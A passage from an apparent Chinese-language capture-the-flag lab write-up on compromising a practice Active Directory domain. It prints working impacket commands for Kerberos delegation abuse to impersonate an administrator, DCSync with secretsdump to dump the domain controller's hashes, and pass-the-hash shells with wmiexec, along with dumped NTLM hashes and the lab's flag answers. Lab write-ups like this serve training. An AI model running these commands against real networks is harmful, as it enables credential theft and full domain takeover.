申请访问172.22.60.42
主机CIFS服务的服务票据
CIFS服务:是SMB(Server Message Block)协议的扩展。CIFS支持详细的权限管理,允许管理员设置不同用户或组对共享资源的访问权限。
1 | proxychains -q impacket-getST xiaorang.lab/TEST\$:123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8 |
修改环境变量,导入上面保存票据的位置。
1 | export KRB5CCNAME=administrator@[email protected] |
修改hosts(不添加连接不上)
1 | vim /etc/hosts |
打PtH连接
1 | proxychains -q impacket-wmiexec [email protected] -k -no-pass -dc-ip 172.22.60.8 -codec gbk |
获取flag03
1 | type C:\Users\Administrator\flag\flag03.txt |
1 | flag03: flag{e6db8606-5615-47df-8abb-a087bdcff08f} |
第四关
关卡剧情:请尝试利用黑客留下的域控制器后门获取域控的权限。
内网
DCSync
上面域信息搜集我们可以知道FILESERVER具有DCSync权限,可以用他的Hash去导出域控的Hash。
用secretsdump导出FILESERVER的Hash
1 | proxychains -q impacket-secretsdump -k FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8 |
1 | XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc::: |
导出域控Hash
1 | proxychains -q impacket-secretsdump xiaorang.lab/FILESERVER\[email protected] -hashes :951d8a9265dfb652f42e5c8c497d70dc -no-pass -dc-ip 172.22.60.8 -just-dc-user administrator |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b::: |
接着打PtH
1 | proxychains -q impacket-wmiexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b [email protected] -codec gbk |
获取flag02和flag04
1 | type C:\Users\Administrator\flag\flag02.txt |
1 | flag02: flag{0bbcaed2-a0bb-4951-a12e-e5cb0ba0ff0a} |
1 | flag04: flag{060d1a2f-55ed-44f2-b07b-d4bbb4cc8b14} |